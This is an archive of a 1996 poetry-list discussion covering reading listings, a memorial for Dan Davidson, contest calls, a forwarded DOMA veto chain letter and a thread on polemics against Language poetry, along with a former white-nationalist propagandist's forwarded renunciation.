> *We've just gotten a message from Geoffrey Green who teaches here at SFSU that there will be a memorial service for Dan Davidson on Saturday September 14, 5:30 PM at 2948 16th Street at Capp. Dan was in the Creative Writing program here at State in the eighties. I don't know more about the service or who to call to confirm. Hopefully, we will know more by the SPT/ Proliferation reading this Friday at New College.*

↑ Index

278. Lisa Jarnot
ear inn readings
Wed 11 Sep 1996

October and November 1996: Readings at The Ear Inn

OCT 5: PRAGEETA SHARMA, MARK MCMORRIS Prageeta Sharma is a graduate of the MFA program in Creative Writing at Brown University. In 1995 she was a fellow at the MacDowell Colony and was awarded the Academy of American Poets Prize. She currently lives in Brooklyn, New York. Mark McMorris is the author of Figures for a Hypothesis, Mothwings, and the forthcoming collection The Black Reeds. This September he collaborated with Ward Tietz on a performance installation and sound poem for the Geneva Arts Festival. He lives in Providence, Rhode Island.

OCT 12: CLIFF FYMAN, LEE ANN BROWN Cliff Fyman lives in New York City where he is a poetry editor of Cover magazine. His work has recently been published in The San Francisco Chronicle, Hanging Loose, The World Anthology: Out of this World, and Lungfull!. Lee Ann Brown is a poet and filmmaker. Her work has been published in several magazines and journals and her first book, Polyverse, is forthcoming from Sun and Moon this fall. She recently moved to New York City where she is the editor/publisher of Tender Buttons press.

OCT 19: ANSELM BERRIGAN, KIM LYONS Kim Lyons recently collaborated with Ed Epping on an artists book called Mettle. She has poetry forthcoming in The World and Pagan Place and her chapbook, Rhyme the Lake, is available from leave books. Anselm Berrigan has returned to New York after a two year stay in San Francisco. His recent publications include a chapbook, On the Premises, and poems which have appeared in several magazines, including Talisman, Prosodia, and Yale Younger Poets.

OCT 26: DEIRDRE KOVAC, BARBARA HENNING Deirdre Kovac lives in Brooklyn. She is associate editor of Big Allis and is completing her first collection of poems, Mannerism. Her poetry and criticism have appeared recently and are forthcoming in American Letters & Commentary, Denver Quarterly, Letterbox, Object, The Poetry Project Newsletter, and Torque. Barbara Henning is the editor-publisher of Long News Books. Her most recent collection, Love Makes Thinking Dark, was published by United Artists Books in 1995. Her work can be found in Talisman, Chain, and Trois and she has a collection of poems, In Between, forthcoming from Spectacular Diseases.

NOV 2 BETH BORRUS, SCOTT BENTLEY Scott Bentley lives in Oakland and teaches at Cal State Hayward. He has an O book called Ground Air that rides shotgun into the KWave. He handles landscapes and large objects. Beth Borrus has recently returned from a hiatus in Paris with Edith Piaff. She has a new collection of poems called Fast Divorce Bankruptcy published by Incommunicado. She lives in Elizabeth and works in Newark.

NOV 9 ANGE MLINKO, EDWIN TORRES Ange Mlinko lives in Providence and edits Compound Eye. She has a new chapbook out from Lift called Immediate Orgy & Audit. She grooves to New York. Edwin Torres is a poet who exists in the you-misphere of the alphabet. He was recently curator of the monday night series at St. Mark s and a recipient of a grant from the Foundation for Contemporary Performance Art. His two collections are Lung Poetry & I Hear Things People Haven't Really Said.

NOV 16 DREW GARDNER, CHUCK STEIN Drew Gardner does not play loud like a young jazz drummer. He has two chapbooks, Stonewalk published by St. Lazar and The Cover from Leave. He practices at night and lives in Brooklyn. Chuck Stein will not stop working on his life project forestforthetrees. His most recent book is a selected poems from Station Hill called hatracktree. Marie Osmond has performed his speaking backwards poetry on Ripley's Believe It or Not. He lives in the Hudson Valley.

NOV 23 LYDIA DAVIS, PATRICIA JONES Patricia Jones has a new book out from Coffee House called The Weather That Kills and a Telephone chapbook called My Mythologies Always. She is a fellow at Breadloaf, teaches at Sara Lawrence and lives in the heart of Brooklyn. Lydia Davis is a prose writer and translator living in upstate New York. Recently out from High Risk are The End of the Story and Break It Down. A new collection of stories called Almost No Memory is soon to be published by Farrar-Strauss.

NOV 30 ROSS BROCKLEY, JIM KRELL Jim Krell is the author of three collections of poetry: Here & Now, a Black Sparrow imprint edited by Jonathan Williams, Vice of Woes, and On the Advice of Wolves (Terminal Inc.). His new project is a series of love poems to Michelle. He is a fixture in the east village.

Ross Brockley performs Monday nights at the Luna Lounge. His work has been described as the surrealist mutterings of damaged goods. As Janeane Garafolo says in Playboy, "I woke up and rolled over, and there was Ross Brockley. My first thought was, Oh, I know that guy! He's funny. Thank God it's a good comic. I mean he could have been a hack."

SATURDAY AFTERNOON READINGS begin at 2:30 pm, $3.00 contribution goes to readers. THE EAR INN is at 326 Spring St. NYC. Coordinators for this series are Lisa Jarnot (October) and Bill Luoma (November). Continuing support of this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York State Council on the Arts. PLEASE SUPPORT THE EAR-- COME EARLY FOR LUNCH, STAY LATE FOR DINNER!

↑ Index

279. Colleen Lookingbill

Dan Davidson

Thu 12 Sep 1996

I first met Dan Davidson in 1987, at a bus stop following a poetry reading in San Francisco. Our destination was hardly a block away from each other in the same neighborhood and we soon became friends, of sorts, for a few years. He had just abandoned involvement in the local punk rock scene, said he knew Jello Biafra of the Dead Kennedys and bragged of his conquests in picking up young women at the clubs. I believed him, he was capable of being very charming and comedic. He had an incredible gift for talking-up strangers in public. A walk with him to a used bookshop, to scavenge for treasures, was a minor adventure, you never knew who he'd engage or where it would end. He also collected photographs that he found on the street. He often did much of his writing at the old, now defunct, SF Modern Art Museum. We attended some of the contemporary music performances together there, at what was known as the "Green Room." In those days, there were interesting readings nearly every week, it seemed like a "scene", and Dan was a part of it. The sound of his artificial heart valve ticking could be heard in the audience, it was often mistaken for a loud watch, and Dan used to joke about it. Eventually he hosted his own reading series at Forest Books.

Dan held a literary salon in the living room of his funky share apartment. Some of the participants included Gary Sullivan, George Albon, David Gilbert, Laurie Price, Spencer Selby and Colleen Lookingbill. Dan played matchmaker in introducing me and encouraging me to date my wife-to-be. In the style of the Situationists, Dan often created his own flyers of altered advertising images, which he publicly posted or handed-out himself. The Reagan - Bush years kept him

busy. I remember he was very excited about the release of the first BATMAN movie, which he read as a postmodern sign of social crisis. He never held a straight job, as far as I know, and he was proud of that. A sign outside his apartment gate read : Anarchist Arboretum. He claimed his upstairs neighbors were SM professionals and he could hear the screams at night. He decided to get a tattoo and chose a simple circle or oval on his forearm (I believe).

Later, I became estranged from him, but ironically, after some years spent living on the other side of the city, I relocated to a building close to his. These last few years, I passed him on the street from time to time, exchanged polite greetings, had no knowledge of his life, but he seemed content.

Jordon Zorker

↑ Index

280. wheeler
Assembling Alternatives
Thu 12 Sep 1996

Having now read through the correspondence here, I only want to add my thanks to Romana Huk. For me, it was a real joy to hear so many people whose work I'd followed in one place, one time. I gave my own paper late in the conference, and until then heard panels that tangentially related in order to incorporate what came up -- I regretted all I missed. I would be grateful to see any of the papers, in whole or part, posted to the list; this may sate others' curiosity too, yes?

Susan Wheeler
voice/fax [redacted]

↑ Index

281. Loss Glazier
Re: Assembling Alternatives
Thu 12 Sep 1996

At 07:36 AM 9/12/96 -0400, you wrote:
>I would be grateful to see any of the papers, in whole or part, posted to
>the list; this may sate others' curiosity too, yes?
>Susan Wheeler

Conference papers may also be sent to me to be included in an online "book" on the conference at the EPC!

Loss Glazier <[redacted]>
http://writing.upenn.edu/epc

↑ Index

282. Douglas Messerli
Sun & Moon NAP and NAF competitions
Thu 12 Sep 1996

Now that the season has begun, I thought you might
want to be reminded for yourself, your students, and
for your friends that Sun & Moon Press is still reading
manuscripts for its 1996 New American Poetry (NAP) and
New American Fiction (NAF) competitions.

The competitions are open from January 1 to December 30th
of each year. All manuscripts are read both in-house and
by an independent judge.

Full length manuscripts of either poetry or fiction may be entered. Please put your name and address on the title page (but do not repeat it elsewhere, since the manuscripts out of house are read blindly).

There is a $25.00 entrance fee which is used toward the
publication of the books.

If you wish your manuscript returned after the competition , please enclose a self-addressed, stamped envelope.

The award winners are announced each year in February. And the books will be published within the next calendar year.

This past year's (1995) winners were:

Poetry: Rob Fitterman, METROPOLIS (chosen by Bruce Andrews)
Fiction: Eleana Greenspan, POSSESSED BY A DEMON (chose by
Douglas Messerli)

Douglas Messerli

↑ Index

283. Douglas Messerli
(no subject)
Thu 12 Sep 1996

Please send entries for the New American Poetry and
New American Fiction competitions to:

Sun & Moon Press
6026 Wilshire Boulevard
Los Angeles, CA 90036

↑ Index

284. **Ira Lightman**
Re: Conceptual crit?
Thu 12 Sep 1996

> Nirvana at the end was so alternative you could see their
> "alternativeness" in every record store in the land. They
were so
> alternative Cobain put a shotgun in his mouth to escape
the alternatives.

Or, alternatively, Mark Chapman put a gun in John Lennon's
mouth because of the double bind of being cool and a Rebel;
Lennon half said all Beatles songs were untouchable, half
that they were all rubbish and they "sold out" (his words)
with their first record; these schizoid indexes of value
exist in relation to some schizoid thing called society
which, for the people who don't care about Nirvana or any
of us on this list, don't matter *at all* on the
day-to-day basis that they seem to matter in this argument.
The point is not always to dent the present, but to
be true, and wait for it to be seen; *the* alternative.
Elvis Presley's first records, as records, were quiet
and minimal and not grabbing attention compared to
the pop culture they entered; after the pelvis hoo-hah,
that's why his work remains musical, not situationist.
The danger of quick reaction in this supposedly quick
e-medium is going for quick solutions, and not thinking.
There was one culture around Nirvana not unlike
the one that just poets (not critics) make around
poetry both straight and avant-garde: emotionally inept,
hyper, not interested in the feelings or the chords of
Kurt Cobain which helped stoke his internalised feelings
of no longer being alternative because he couldn't be
alternative in attitude to their satisfaction. One
member of this list privately once told me that he
laughed when he heard Lennon had been shot "he was
already dead"; that seems to me to be consumer culture
at its worst from an avant-gardist; it's yesterday's

product. Not to buy that attitude is alternative, no
matter your sales.

Ira Lightman

↑ Index

285. **Aldon L. Nielsen**
Re: catching up
Thu 12 Sep 1996

---

reading through back numbers of the list -- still only getting online about once a week from Boulder --

The Joe Lockard who authored the article spoken of favorably here last week was one of the speakers on the panel I chaired at the Maine conference this Summer -- I would invite list-o-philes to read Lockard's piece and decide for themselves if his is guilty of reductive sociological approaches to literature --

on newer news -- Creeley reads at Naropa this week-end --

Stan Brakhage has just been released from the hospital after major surgery -- It looks like he'll be OK, but he's been through a real trial -- I know there are lots of Brakhage fans out there, so I'll post an update on his health next week --

love to all and sundry

↑ Index

286. **Aldon L. Nielsen**
Re: no back channel
Thu 12 Sep 1996

Keith -- if you're still looking for Harryette's phone number, call me at mine:
[redacted]

↑ Index

287. **Douglas Messerli**
(no subject)
Thu 12 Sep 1996

Sorry to bother everyone again, but my most recent
post seemed to confuse as many people as it was meant
to reveal information.

For the both the NAF and NAP competitions, Sun & Moon
Press is interested only in previously unpublished full-
length manuscripts.

The chosen manuscript will be published, with a contract, by Sun & Moon Press in its New American Fiction or New American Poetry Series.

A full-length poetry manuscript must be at least 50 pages 70-150 is a more normal length.

Fiction manuscripts may be from 70 pages at may extend to any length.

Douglas Messerli

↑ Index

288. **Tony Green**
Re: cross-dressing
Thu 12 Sep 1996

More biblio on this from Kyla McFarlane, who has just completed a thesis on Fetishism in New Zealand and Australian art:

String of Pearls: Stories about Cross-Dressing ed. Tony Ayres, Allen and Unwin, St Leonards, Australia, 1996. This may not be available in the US yet. Fetishism as Cultural Discourse, eds. Emily Apter and William Pietz, Cornell University Press, Ithaca, 1993. This book also has a very useful and extensive bibliography. (Note particularly the article by Jann Matlock, pp.13-31. Another version of Matlock's piece is reproduced in Grand Street, no.53, Summer 1995.) Also, Valerie Steele's book Fetish: Fashion, Sex and Power, Oxford University Press, 1996, might be of some use... Marjorie Garber is a well known writer in this area, but you probably already know of her. If not, her book entitled Vested Interests is a useful text.

Good luck...

Tony Green,
e-mail: [redacted]

↑ Index

289. **Rod Smith**
David Tudor Memorial
Fri 13 Sep 1996

In Celebration of
David Tudor
January 20, 1926 - August 13, 1996

Judson Memorial Church
55 Washington Square South

New York, New York
Tuesday, September 17, 1996
8:00 P. M.

↑ Index

290. Sheila Murphy
Re: Dan Davidson
Fri 13 Sep 1996

Jordon, Thanks for sharing your experiences and feelings about Dan Davidson. I only met him briefly in San Francisco when you and Colleen invited Peter and me to read and during the reading for THE ART OF PRACTICE. Like so many others, I will continue to admire Dan's work.

The fragilities or decisions of others often remain unknown to us.

Best to you and Colleen,

Sheila

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291. Judy Roitman
Fwd: VETO DOMA - How to help (fwd)
Fri 13 Sep 1996

Long political message follows, the gist of which is to send a message to Clinton on the vetoing the federal ban on gay marriages. Why not?

> *---------- Forwarded message ----------*
> *Date: Wed, 11 Sep 1996 19:28 -0700 (PDT)*
> *From:* [redacted]
> *Reply-To:* [redacted]
> *Subject: Fwd: VETO DOMA - How to help*
>
> *Are you as mad as I am about DOMA? Here's something to do. Pass the word:*
>
> *Subj: VETO DOMA - How to help*
> *Date: 96-09-09 22:52:28 EDT*
> *From: BLUE EYES2*
>
> *President Bill Clinton has been taking way too much advice from his right-wing advisors like Dick Morris on the subject of DOMA. He needs to know that we will not sit back and allow him to score election year points by denying basic rights to lesbian or gay Americans. It is the most important battle of our political lives and no matter what we think about the timing or the politics behind this issue, we cannot afford to*

sit this one out. This is an experiment in using the net for grass roots politics. Your voice will make a difference.

To participate in this experiment:

1. E-mail this message, exactly as it is, complete with this introduction to at least five of your friends. Add it to any mailing lists you are on. Please, distribute as widely as you can.

2. Copy the message below the line, without this introduction, to a new e-mail message.

3. Address that new message to: [redacted]

4. Fill in your name, street address and the date in the appropriate places top and bottom. The White House tosses e-messages with no street address.

5. In the subject line, write VETO DOMA

6. Hit the send button and your copy of message will be on its way to The White House.

If you follow all of these directions the President could receive a few hundred thousand messages titled VETO DOMA. It would be too much to ignore.

We can and will make a difference in 1996!

your name
your street address
your city, state, & zip code

---

date<

President Bill Clinton
The White House
1600 Pennsylvania Avenue
Washington, DC

Dear Mr. President:

Republicans in Congress, with the help of many Democrats have passed the so called Defense Of Marriage Act, or DOMA. They created the bill from ignorance, from hatred for gay Americans and out of the desire to embarrass you in an election year. You helped its progress when, to

> *make yourself look good in a election year, you announced early that you would sign it. Now, you must change your mind and do the right thing. Veto DOMA! We will not allow you to make political gains by creating pain for our gay Americans.*
>
> *DOMA is a dangerous threat to the civil liberties of gay Americans and to the Constitution itself. As Jim Crow laws once did to African Americans in the South, DOMA would use the mighty power of the federal government to deny to one class of citizens, gay Americans: income tax benefits, pensions, social security survivor benefits, access to partners in federal hospitals, immigration rights, and so much more that we have not yet considered. DOMA would create for the first time under federal law two classes of citizenship with different rights for gay and straight Americans. This divisive law threatens one of our most important Constitutional principles, equal protection under the law.*
>
> *You must do the right thing Mr. President. Speak out against the hatred, eschew the politics of division and rise above the political expedience. Do the right thing for your country and its citizens. Veto DOMA. Raise your voice against this monstrous injustice. Use the power of your veto pen to bring us together, instead of your signature to divide our nation by creating a new federally ordered apartheid system of injustice.*
>
> *Sincerely,*
>
> *your name*
> *your street address*
> *your city, state, & zip code*

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

292. **Jordan Davis**

Kevin Young's phone number

Fri 13 Sep 1996

Would somebody please backchannel me with Kevin Young's phone number?

Would somebody
please backchannel me
with Kevin Young's
phone number?

Would somebody please backchannel me
with Kevin Young's phone number?

Thanks--
Jordan Davis

↑ Index

293. **Matt Kirschenbaum**
query: langpo and its discontents
Fri 13 Sep 1996

Lately I've been interested in the specifics of the rhetoric
employed in critiques of/attacks on language writing (whether
the journal, any of the several anthologies, the work of
individual poets, etc.) Can anyone suggest a particularly
nasty broadside or polemic, something perhaps not unlike
Robert Buchanan's infamous "Fleshly School" review of the
Pre-Raphaelites . . .

Thanks,

--Matt

========== Matthew G. Kirschenbaum University
of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

↑ Index

294. **maria damon**
update u of mn
Fri 13 Sep 1996

---

hi guyzies sorry to clog the airwaves w/ matters distinctly less than poetic, but
it's impt to our situation here to get the word out/ so here's the latest news, hot
off the union meeting earlier today (that is, our hoping-to-be-union).

md

From: Tom Walsh <[redacted]>
Date: Fri, 13 Sep 1996 16:32:33 -0500

To: [redacted]
Subject: Cease and Desist

Dear Colleague

Today the University Faculty Alliance filed our present authorization forms with the Bureau of Mediation Services (BMS). We now have a copy of the cease and desist ("maintenance of status quo") order which was faxed to the University this afternoon. This will forestall any precipitous action by the Board of Regents. Of course, we may have to defend this order in court.

The maintenance order refers to the entire Twin Cities instructional faculty. We regard this as meaning the AHC is included in the order. The AHC is not included in the filing unit at this moment, but has until November 1 to join (as does the Law School).

As you know, this quick response of the faculty
was only possible due to broad agreement among many of us--UFA, AAUP, the ad hoc "Group of 19", our Regents Professors and governance groups.

As a colleague observed:

> "The guillotine is stuck halfway down."

This is at heart a fight to preserve the University as a major American research university with access to Minnesotans regardless of their economic status. It is not solely about tenure.

If we are to prevent the guillotine blade from falling the rest of the way, we will have to continue a vigorous action to collect authorization forms from the entire University. We need such numbers that the public and legislature will be convinced that we are united and that the entire State of Minnesota has a stake in the outcome.

Sincerely,
Paula Rabinowitz, Department of English
Thomas Walsh, Department of Physics
University Faculty Alliance

↑ Index

295. **Scott Bentley**
Re: query: langpo and its discontents
Fri 13 Sep 1996

I remember some years ago (say, 1986) that Clayton Eshelman had some pretty fiery things to say about "L" poetry, but I can't remember where. It was either in POETRY INTERNATIONAL, POETRY FLASH, or POETRY TODAY (I think). Also, Bob Haas made an interesting single paragraph summary of "L" in an

interview in the S.F. EXAMINER about six months ago. Sorry not to be more specific but your query caught my attention, so I thought I'd reply and get you started. Hopefully someone else will remember the specifics.

Scott Bentley

↑ Index

296. Christina Fairbank Chirot
query & discontents
Fri 13 Sep 1996

re the query seeking specific rhetoric involved with attacks on Langaueg poetry--

A book that may be of use is Politics and Poetic Value edited by Robert von Hallberg (Chicago: U of Chicago P, 1987). Specifically the essays by Jerome J. McGann (Contemporary Poetry, Alternate Routes), Charles Altieri (Without Consequences is No Politics: A Response to Jerome McGann), McGann again (Response to Charles Altieri) and Jed Rasula (The Politics of, the Politics in). (Needless to say--re the recent poets/critics thread--these present the rhetoric of the academy in dealing with the issues. Thus should be taken as but one aspect among many of the question . . .)

Robert Smithson wrote: "Literal statements often conceal violent analogies".

An interesting way to approach the question of specific attacks--lines, words, phrases--might be to take statements for and against Language Poetry--including those specific to Language Poetry itself as statements, claims--and present them in juxtaposition. The apposition of vocabularies of opposition may provide interesting material for investigation.

The Utopian Moment by Norman Finkelstein may also be an interesting book to look at.

hope these may be of use
--dbchirot

↑ Index

297. filch
Re: Fwd: VETO DOMA - How to help (fwd)
Fri 13 Sep 1996

It might be helpful to know that email is all but ignored in political circles. The staff does not exist to adequately filter the mail. The medium is considered too "impulse" to carry weight. As always a good strong letter using your own words

on real paper is worth a great deal more in the process of deciding these things. In essence 10000 email messages don't count nearly as much as one bona fide letter from a member of the rotary club in bumfuk, idaho.

if email were to be the medium of choice it would perhaps be more appropriate to aim it at those who will end up enforcing such a law rather than those who make and enact such laws as the voices of enforcement will undoubtably carry more weight than 10000 email messages.

filch

> *Long political message follows, the gist of which is to send a message to Clinton on the vetoing the federal ban on gay marriages. Why not?*
>
> *---------- Forwarded message ----------*
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> *From:* [redacted]
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> *From: BLUE EYES2*
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> *President Bill Clinton has been taking way too much advice from his right-wing advisors like Dick Morris on the subject of DOMA. He needs to know that we will not sit back and allow him to score election year points by denying basic rights to lesbian or gay Americans. It is the most important battle of our political lives and no matter what we think about the timing or the politics behind this issue, we cannot afford to sit this one out. This is an experiment in using the net for grass roots politics. Your voice will make a difference.*
>
> *To participate in this experiment:*
>
> *1. E-mail this message, exactly as it is, complete with this introduction to at least five of your friends. Add it to any mailing lists you are on. Please, distribute as widely as you can.*
>
> *2. Copy the message below the line, without this introduction, to a new e-mail message.*
>
> *3. Address that new message to:* [redacted]
>
> *4. Fill in your name, street address and the date in the appropriate places top and bottom. The White House tosses e-messages with no street*

address.

5. In the subject line, write VETO DOMA

6. Hit the send button and your copy of message will be on its way to The White House.

If you follow all of these directions the President could receive a few hundred thousand messages titled VETO DOMA. It would be too much to ignore.

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your name
your street address
your city, state, & zip code

---

date<

President Bill Clinton
The White House
1600 Pennsylvania Avenue
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Dear Mr. President:

Republicans in Congress, with the help of many Democrats have passed the so called Defense Of Marriage Act, or DOMA. They created the bill from ignorance, from hatred for gay Americans and out of the desire to embarrass you in an election year. You helped its progress when, to make yourself look good in a election year, you announced early that you would sign it. Now, you must change your mind and do the right thing. Veto DOMA! We will not allow you to make political gains by creating pain for our gay Americans.

DOMA is a dangerous threat to the civil liberties of gay Americans and to the Constitution itself. As Jim Crow laws once did to African Americans in the South, DOMA would use the mighty power of the federal government to deny to one class of citizens, gay Americans: income tax benefits, pensions, social security survivor benefits, access to partners in federal hospitals, immigration rights, and so much more that we have not yet considered. DOMA would create for the first time under federal law two classes of citizenship with different rights for gay and straight Americans. This divisive law threatens one of our most important Constitutional principles, equal protection under the law.

> *You must do the right thing Mr. President. Speak out against the hatred, eschew the politics of division and rise above the political expedience. Do the right thing for your country and its citizens. Veto DOMA. Raise your voice against this monstrous injustice. Use the power of your veto pen to bring us together, instead of your signature to divide our nation by creating a new federally ordered apartheid system of injustice.*
>
> *Sincerely,*
>
> *your name*
> *your street address*
> *your city, state, & zip code*
>
> ---
> *Judy Roitman | "Glad to have*
> *Math, University of Kansas | these copies of things*
> *Lawrence, KS 66045 | after a while."*
> [redacted] | *Larry Eigner, 1927-1996*
> ---

↑ Index

298. **David Kellogg**

Re: query: langpo and its discontents

Fri 13 Sep 1996

At 05:54 PM 9/13/96 -0400, Matt Kirschenbaum wrote:
>Lately I've been interested in the specifics of the rhetoric
>employed in critiques of/attacks on language writing (whether
>the journal, any of the several anthologies, the work of
>individual poets, etc.) Can anyone suggest a particularly
>nasty broadside or polemic, something perhaps not unlike
>Robert Buchanan's infamous "Fleshly School" review of the
>Pre-Raphaelites . . .

Well, I think the obvious place to start is Tom Clark's "Stalin as Linguist" parts I and II, at least one of which was published in *Poetry Flash*. (I think both parts are reprinted in a book of Clark's from the Michigan Poets on Poetry series.)

~~~
~~~

University FAX [redacted] Durham, NC 27708
http://www.duke.edu/~kellogg/

There is no mantle
and it does not descend.
--Thomas Kinsella

↑ Index

299. **John Kinsella**
Re: POETICS Digest - 12 Sep 1996 to 13 Sep 1996
Sat 14 Sep 1996

Does anyone know if Sulfur is still active? I've not heard of anything appearing since early last year. Is Barbara Guest on e-mail? I'd like to contact her re Salt poetry journal.

Thanks

John Kinsella

↑ Index

300. **Kevin Killian**
Re: query: langpo and its discontents
Sat 14 Sep 1996

> *Lately I've been interested in the specifics of the rhetoric employed in critiques of/attacks on language writing (whether the journal, any of the several anthologies, the work of individual poets, etc.) Can anyone suggest a particularly nasty broadside or polemic, something perhaps not unlike Robert Buchanan's infamous "Fleshly School" review of the Pre-Raphaelites . . .*

Around ten years ago in the Poetry Flash (located in Berkeley) there was an all out war against language poetry, with langpos sending angry letters back. It was all anybody talked about for months. Here's the phone number of the Flash: [redacted]. They might be able to help you.

Dodie

↑ Index

301. **JOEL LEWIS**
Re: query: langpo and its discontents
Sat 14 Sep 1996

---

there was a crazy piece in CONTACT II in the early 80's coming from a very normative point of view--a good source for this stuff is Charles Bernstein who

kept track of all these polemics. A forgotten number is the exchange between Eliot Weinberger and various L. Poets that was in three issues of Sulfur -- Weinberger has never collcted this in his volumes. Give a look to the responces to my intro to LAN poetry that appeared in Poets & Writers circa '90 (article ws called INk Mathematics), which is a rare glimpse of how everyday, non-theorist types looked upon the work

↑ Index

302. **Douglas Messerli**

Re: POETICS Digest - 12 Sep 1996 to 13 Sep 1996

Sat 14 Sep 1996

Barbara is not on E-mail.

I can provide her address. I'll back-channel you.

Douglas

==========

At 12:32 PM 9/14/96 +0800, you wrote:
>Does anyone know if Sulfur is still active? I've not heard of anything
>appearing since early last year. Is Barbara Guest on e-mail? I'd like to
>contact her re Salt poetry journal.
>
>Thanks
>
>John Kinsella
>

↑ Index

303. **Louis Cabri**

Re: query: langpo and its discontents

Sat 14 Sep 1996

If you're interested in cross border, take a look at Warren Tallman's last collection of essays and letters, for a take on Steve McCaffery and new Vancouver writing. Also see review by Brian Fawcett of the antho. East of Main (which includes a section of writing by Derksen, Ferguson and others), in The Georgia Straight circa 1990. - Louis

↑ Index

304. Keith Tuma
Re: POETICS Digest - 12 Sep 1996 to 13 Sep 1996
Sat 14 Sep 1996

John Kinsella asks if Sulfur is still active.

It is, the next issue is due in late October or early November, but loss of NEA money has meant, among other things, a reduction in the number of distributors. Probably best, especially for those not in the US, to subscribe:

$14 for individuals; add $4 ($10 airmail) for foreign subscriptions.

Sulfur
c/o English Department
Eastern Michigan University
Ypsilanti, MI 48197
USA

↑ Index

305. Matt Kirschenbaum
Re: query: langpo and its discontents
Sat 14 Sep 1996

Many thanks to everyone who's responded so far. All of your suggestions have been helpful, even the one mailed to me backchannel suggesting that I "begin with a study of Langpo's rhetoric and critique of nearly everyone else."

--Matt

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

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306. George Bowering
Re: POETICS Digest - 12 Sep 1996 to 13 Sep 1996
Sun 15 Sep 1996

Latest _Sulfur_ I have is No. 38, Spring 1996.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

307. Gabrielle Welford

Former Alliance member/_Turner Diaries_ expert says Hello! (fwd)

Sun 15 Sep 1996

I haven't checked out the validity of this, so it may be a put on. But I thought I'd forward it in case anyone can use the info. It came through after I'd set the badsubjects list to "nomail" so perhaps there's a reason? gab.

---------- Forwarded message ----------
From: Milton Kleim <[redacted]>
Subject: Former Alliance member/_Turner Diaries_ expert says Hello!

Hello everyone!

I was a member of William Pierce's National Alliance for nearly a year, and was an "associate" (i.e. follower) of his for much longer. I was the chief (de facto) propagandist for the National Alliance on the Internet, primarily USENET, for over two years. I was privy to much information about the inner workings of the National Alliance (although I wish I had even more knowledge). I had been invited to the Hillsboro, WV head- quarters for the April 20th (Hitler's birthday) leadership conference, by special signed invitation of Pierce. However, I did not attend due to a major conflict which led to my resignation from (but not my disassociation with) the Alliance. In fact, although I had trouble with Pierce's sale of _the Turner Diaries_ to Barricade Books, I continued to support Alliance Internet operations until June, including helping to write the TTD webpage (http://www.natvan.com/turner.html) -- most of the words are mine, though Pierce modified a few things I said.

Due to rather traumatic personal circumstances in late May and early June, as well as a build-up of disgust and bitterness over the failings of the White Nationalist "movement," I made a "resignation" statement in early June (see my webpage -- "A Reckoning"). Further statements have been made subsequently, and I am now completely free of the influence of the "movement's" "persuasive" techniques. I am more than happy to speak my mind about the potentially evil possibilites which the "movement" can foster, as it has fostered in Oklahoma City.

Make no mistake about it: the "movement" can and probably will implement further acts like the OKC bombing. This is most unfortunate, but a terrible fact which cannot be avoided. The "movement's" ranks are, for the most part, quite benign, as I was -- all talk -- but there are, sadly, certain elements within it who

are quite capable of anything, including another OKC, or worse, using nuclear, biologial, or chemical weapons on a much larger scale. Many of those in the "movement" who are prone to violence are amoral and apolitical, but are driven to action by the hot rhetoric I and others put out, including, especially, Pierce's _The Turner Diaries_ and his even worse book, _Hunter_ (pretty much a "how-to" manual for "do-it-yourself" assassination of political figures and interracial couples). They are enthralled by the pursuit of power and thrill, and killing people in such fashion as happened at OKC is the only way they can fulfill their fantasies and perverted needs.

I know _the Turner Diaries_ (and _Hunter_) in depth, free of the media distortion which occurs thanks to Mr. Dees and others. If anyone would like my opinions on the matter, for curiosity, or for research, please do feel free to ask. If I can help to prevent the further realization of Dr. No's, uhh, I mean Dr. Pierce's "vision," I'm happy to do so.

Please do check out my webpage, which will explain many things about me. There are also some rather bold statements against _the Turner Diaries_ archived at the Nizkor site, in files kleim.0896 and kleim.0996.

Good day to you all.

-- Milton John Kleim, Jr.
Sacramento

--

http://www.ncf.carleton.ca/~bb748

--

↑ Index

308. Jordan Davis
how the west was won and where it got us
Sun 15 Sep 1996

Uilleain pipes, Didn't Mark Wallace write an essay for Poetics Briefs about strong hostile reactions to language poetry? For those of you who haven't read Mark's essays, they're a trip -- cogent, fiery, encyclopedic. But I have to ask -- is any unexcited description of language poetry a 'discontented' reaction? I've described language poetry a lot, often late at night, when everything's turned down except the treble. Jargon

↑ Index

309. **Charles Smith**
Re: query: langpo and its discontents
Mon 16 Sep 1996

As follow-up to the Sulfur issues Joel Lewis mentioned, you might want to look at Temblor 9, which has responses by Ben Hollander & David Levi Strauss to Ron Silliman's "Negative Solidarity" that Eshleman published in Sulfur 22, followed by a comapnion Silliman piece, "Poets & INtellectuals." These at least get beyond the namecalling nonense that charcterized much of what was printed in the Poetry Flash Dodie mentioned, & even Weinberger's stuff in Sulfur.

I tempted to ask why anyoe wd want to dredge this stuff up, but, no, I really don't want to ask.

all best,
charles

↑ Index

310. **Charles Smith**
Re: query: langpo and its discontents
Mon 16 Sep 1996

A critique of the Messerli anthology by Ben Friedlander can be found in Jimmy & Lucy's House of "K" #8, which begins:

"Is this the great language poetry anthology?"

happy reading

charles

↑ Index

311. **filch**
Re: how the west was won and where it got us
Mon 16 Sep 1996

please turn down the treble and let er rip.

> *Uilleain pipes,*
> *Didn't Mark Wallace write an essay for Poetics Briefs about strong hostile reactions to language poetry? For those of you who haven't read Mark's essays, they're a trip -- cogent, fiery, encyclopedic. But I have to ask -- is any unexcited description of language poetry a 'discontented' reaction? I've described language poetry a lot, often late at night, when everything's turned down except the treble.*
> *Jargon*

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312. Gabrielle Welford
Re: how the west was won and where it got us
Mon 16 Sep 1996

On Sun, 15 Sep 1996, Jordan Davis wrote:

> *Uilleain pipes,*

Oh uilleain pipes, indeed and indeed, a fine job altogether. g

↑ Index

313. Matt Kirschenbaum
Re: query: langpo and its discontents
Mon 16 Sep 1996

After generous suggestions, Charles Smith asks by not asking:

> *I tempted to ask why anyoe wd want to dredge this stuff up, but, no, I really don't want to ask.*

My immediate interest is in poetries that have been branded as "mechanistic" or "lifeless." Far be it from me to ever engage in literary rubbernecking.

> *all best,*
> *charles*

Thanks, --Matt

